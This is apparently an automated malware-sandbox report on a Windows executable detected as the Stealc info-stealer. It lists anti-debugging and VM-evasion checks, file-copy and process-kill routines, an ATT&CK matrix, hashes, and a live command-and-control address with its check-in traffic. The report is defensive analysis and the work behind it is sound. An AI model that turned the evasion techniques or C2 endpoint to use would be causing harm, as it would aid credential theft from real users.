Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BCC40 second address: 5BCC46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3FDACA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B4826 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5B2E14 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5C2FED instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Evaded block: after key decision

graph_0-38815

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001240F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_001240F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0011E530
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00111710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00111710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0011F7B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001247C0 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_001247C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00123B00 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00123B00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00124B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00124B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0011DB80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0011EE20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0011BE40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0011DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0011DF10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00111160 GetSystemInfo,ExitProcess,

0_2_00111160

Source: file.exe, file.exe, 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2197299043.0000000000E96000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2197299043.0000000000E63000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37628
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37631
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37642
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37682
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37647
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-37515

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00114610 VirtualProtect ?,00000004,00000100,00000000

0_2_00114610

Source: C:\Users\user\Desktop\file.exe

0_2_00129BB0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00129AA0 mov eax, dword ptr fs:[00000030h]

0_2_00129AA0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00127690 GetWindowsDirectoryA,GetVolumeInformationA,GetProcessHeap,RtlAllocateHeap,wsprintfA,

0_2_00127690

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6552, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00129790 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,		0_2_00129790
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_001298E0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,OpenProcess,TerminateProcess,CloseHandle,CloseHandle,		0_2_001298E0

Source: file.exe, file.exe, 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: LF>Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00157588 cpuid

0_2_00157588

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00127D20

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00127B10 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00127B10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_001279E0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_001279E0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00127BC0 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00127BC0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.110000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2154333507.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.110000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2154333507.0000000004B60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6552, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	334 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php	true		unknown
http://185.215.113.206/	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.php/r	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/P	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php-	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpe/	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206	file.exe, 00000000.00000002.2197299043.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.206/6c4adf523b719729.phpu.	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.php%.&	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpW	file.exe, 00000000.00000002.2197299043.0000000000E78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000003.2154333507.0000000004B8B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544128
Start date and time:	2024-10-28 21:40:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 132
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/6c4adf523b719729.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/6c4adf523b719729.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958933171703137
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'181'632 bytes
MD5:	37ad51a72ae2ee4f18f90db961ca42e0
SHA1:	4e981723fa01e7aa8f81b23c734a13b2cdb9e252
SHA256:	33c2bf98bb8da8afa179fd90efc0b686e9eca69ffa2ab5b8163ece46a90ff561
SHA512:	83a764e4ff347912c558aaa79d99144ab43d4212fc9275fc14053dcd6c3a5544fb83aeef50fa8b9c85a6eb436346e58d1e436bf2a45d5365ed50a9dc9db96d68
SSDEEP:	49152:JbaU4vJCi2C95vOT/gbQcbYa3CSjw0zCGT:wU4vJC25WUUsJPzCG
TLSH:	8BA53393065BB925C75C3772D28B6EEE31E104D604177ABEB527D8B13A43A22F03BD64
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xb4a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F96F93F4BBAh
movaps xmm4, dqword ptr [ecx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	e879f4b89ed07b7afe5e21af5e477179	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2b5000	0x200	ef759830474f1838668da3d3961e74ea	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
szuavcfa	0x59f000	0x1aa000	0x1a9a00	79fd7ff8b6a76f2576ec8a9913b6cd00	False	0.9949861187591776	data	7.954150406224703	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
lozgslii	0x749000	0x1000	0x400	70114bf6eb5d300cde0ec57f5e09e71a	False	0.767578125	data	5.972169537006448	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x74a000	0x3000	0x2200	c6c30224976aa1f98dff4659d4196836	False	0.05859375	DOS executable (COM)	0.7690936055256556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T21:41:05.720999+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 21:41:04.452475071 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:04.457945108 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 21:41:04.461972952 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:04.462573051 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:04.468054056 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 21:41:05.396541119 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 21:41:05.396617889 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:05.432517052 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:05.438009977 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 21:41:05.720895052 CET	80	49710	185.215.113.206	192.168.2.6
Oct 28, 2024 21:41:05.720999002 CET	49710	80	192.168.2.6	185.215.113.206
Oct 28, 2024 21:41:08.596872091 CET	49710	80	192.168.2.6	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	6552	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 21:41:04.462573051 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 28, 2024 21:41:05.396541119 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 20:41:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
